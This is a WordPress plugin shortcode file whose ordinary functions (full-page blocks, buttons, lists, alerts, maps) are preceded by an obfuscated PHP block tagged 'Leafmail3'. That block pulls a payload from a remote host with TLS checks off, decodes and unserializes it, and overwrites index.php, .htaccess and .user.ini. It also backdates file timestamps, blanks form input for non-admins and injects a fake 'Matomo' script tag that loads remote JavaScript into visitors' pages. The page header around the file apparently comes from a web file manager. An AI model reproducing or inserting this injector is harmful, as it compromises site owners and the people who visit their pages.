/
home
/
ifprccom
/
www
/
configCKO
/
Jump
/
0-ifprccom
/
wp-content
/
plugins
/
imaginem-shortcodes-r7
/
shortcodes
/
Upload Filee
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php function mtheme_shortcodefunction_hex_to_rgb($color) { if ($color[0] == '#') $color = substr($color, 1); if (strlen($color) == 6) list($r, $g, $b) = array($color[0].$color[1], $color[2].$color[3], $color[4].$color[5]); elseif (strlen($color) == 3) list($r, $g, $b) = array($color[0].$color[0], $color[1].$color[1], $color[2].$color[2]); else return false; $r = hexdec($r); $g = hexdec($g); $b = hexdec($b); return array($r, $g, $b); } function mtheme_fullpage( $atts, $content = null ) { extract( shortcode_atts( array( 'id' => '', 'class' => '', 'border_style' => 'none', 'border_width' => '1', 'border_color' => '#eeeeee', 'background_image' => '', 'background_color' => '', 'top' =>'', 'text_align' => 'center', 'bottom' => '', 'textcolor' => '' ), $atts ) ); global $fullblockid; if (!isSet($fullblockid)) { $fullblockid=1; } else { $fullblockid++; } if ($id !='' ) { $display_id = $id; } else { $display_id = get_the_id() . '-' . $fullblockid; } $fullpage=''; $textclass=''; if ($textcolor=="bright") { $textclass="textbright"; } $fullpage .= '<div class="fullpage-block fullpage-block-'. $display_id . ' ' . $class . '" '; $fullpage .= ' style="background-color: '.$background_color.'; background-image: url('.$background_image.');'; if ($border_style!="none") { $fullpage .= ' border-style:'.$border_style.'; border-color:'.$border_color.'; border-width:'.$border_width.'px; border-left:none; border-right:none;'; } $fullpage .= ' padding-top:'.$top.'px; padding-bottom:'.$bottom.'px;'; $fullpage .= ' background-attachment:fixed; background-position:50% 50%; background-repeat: repeat;">'; $fullpage .= '<div class="fullpage-item '.$textclass.'">'.do_shortcode($content).'</div>'; $fullpage .= '</div>'; return $fullpage; } add_shortcode('fullpageblock', 'mtheme_fullpage'); function mtheme_Hr( $atts, $content = null ) { return '<div class="clearfix"></div><div class="hrule"></div>'; } add_shortcode('hr', 'mtheme_Hr'); //Hrule [hr] function mtheme_Hr_top( $atts, $content = null ) { return '<div class="clearfix"></div><div class="hrule top"><a href="#">'.__('Top','mtheme').'</a></div>'; } add_shortcode('hr_top', 'mtheme_Hr_top'); //Hrule [hr] function mtheme_Hr_padding( $atts, $content = null ) { return '<div class="clearfix"></div><div class="hr_padding"></div>'; } add_shortcode('hr_padding', 'mtheme_Hr_padding'); /** * List shortcode. * * @ [list type=(check,star,note,play,bullet)] */ function mtheme_List( $atts, $content = null ) { extract( shortcode_atts( array( 'icon' => 'fa fa-check', 'color' => '#EC3939' ), $atts ) ); $checklist = '<div class="checklist">'; //$checklist .= str_replace('<ul>', '<ul class="icons-ul">', $content); $checklist .= str_replace('<li>', '<li><i style="color:'.$color.';" class="'.$icon.'"></i>', do_shortcode($content)); $checklist .= '</div>'; return $checklist; } add_shortcode('checklist', 'mtheme_List'); /** * Notice / Alerts */ function mtheme_Alert( $atts, $content = null ) { extract( shortcode_atts( array( 'type' => 'yellow', 'icon' => 'feather-icon-cross' ), $atts ) ); $notice ='<div class="noticebox info_'.$type.'">'; $notice .= '<span class="close_notice feather-icon-cross"></span>'; $notice .= '<i class="'.$icon.'"></i>'; $notice .= '<div class="notice-text">'. trim( do_shortcode( wpautop( html_entity_decode($content) ) ) ).'</div>'; $notice .= '</div>'; return $notice; } add_shortcode('alert', 'mtheme_Alert'); //DropCaps [dropcap1] letter [/dropcap1] function mtheme_DropCap( $atts, $content = null ) { extract( shortcode_atts( array( 'type' => '1', ), $atts ) ); return '<span class="mtheme-dropcap dropcap'.$type.'">' . $content . '</span>'; } add_shortcode('dropcap', 'mtheme_DropCap'); //Button [button link="yourlink.html"] text [/button] function mtheme_Button( $atts, $content = null ) { extract( shortcode_atts( array( 'link' => '#', 'button_icon' => '', 'target' => '', 'button_align' => '', 'button_color' => '', 'size'=> 'normal', ), $atts ) ); $uniqueID = uniqid(); if ($target=="_blank") { $target=' target="_blank"'; } if ($button_align=="{{button_align}}") { $button_align=''; } if ($button_align=='') { $button_align_style=''; } else { $button_align_style= ' style="text-align:'.$button_align.';"'; } $button = '<div class="button-shortcode button-shortcode-'.$uniqueID.'"'.$button_align_style.'>'; $button .= '<a href="'.esc_url($link).'" ' . $target . '>'; $button .= '<div class="mtheme-button animation-standby animated pulse">'; if (isSet($button_icon) && !empty($button_icon) ) { $button .= '<span class="button-icon"><i class="'.$button_icon.'"></i></span>'; } $button .= trim($content); $button .= '</div>'; $button .= '</a>'; $button .= '</div>'; if (isSet($button_color) && !empty($button_color) ) { $button .= '<style>'; $button .= '.button-shortcode-'.$uniqueID.' .mtheme-button:after { background-color: '.$button_color.'; }'; $button .= '.button-shortcode-'.$uniqueID.' .mtheme-button { border-color: '.$button_color.'; color: '.$button_color.'; }'; $button .= '</style>'; } return $button; } add_shortcode('button', 'mtheme_Button'); //post list [postlist cat=3 num=5] function mtheme_post_list($atts, $content = null) { extract(shortcode_atts(array( "num" => '5', "cat" => '' ), $atts)); global $post; $myposts = get_posts('numberposts='.$num.'&order=DESC&orderby=post_date&category='.$cat); $retour='<div class="postlist"><ul>'; foreach($myposts as $post) : setup_postdata($post); $retour.='<li><a href="'.get_permalink().'">'.the_title("","",false).'</a></li>'; endforeach; $retour.='</ul></div> '; wp_reset_query(); return $retour; } add_shortcode("posts", "mtheme_post_list"); /** * Usage: [pagelist child_of=x] x = id of the parent page, default = 0 * Example: [pagelist child_of=12] **/ function mtheme_pagelist($atts, $content = null) { extract(shortcode_atts(array( "childof" => '' ), $atts)); $output = wp_list_pages('echo=0&child_of='.$childof.'&sort_column=menu_order&title_li='); return '<div class="postlist"><ul>'.$output.'</ul></div>'; } add_shortcode('pages', 'mtheme_pagelist'); //Google Maps Shortcode function mtheme_do_googleMaps($atts, $content = null) { extract(shortcode_atts(array( "width" => '460', "height" => '480', "src" => '' ), $atts)); return '<iframe width="'.$width.'" height="'.$height.'" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="'.$src.'&output=embed" ></iframe>'; } add_shortcode("googlemap", "mtheme_do_googleMaps"); //Clear [clear] function mtheme_Clear( $atts, $content = null ) { return '<div class="clear"></div>'; } add_shortcode('clear', 'mtheme_Clear'); //Column2 [column2] text [/column2] function mtheme_Column( $atts, $content = null ) { extract( shortcode_atts( array( 'span' => '2', 'last' => 'false' ), $atts ) ); $lastclass=''; 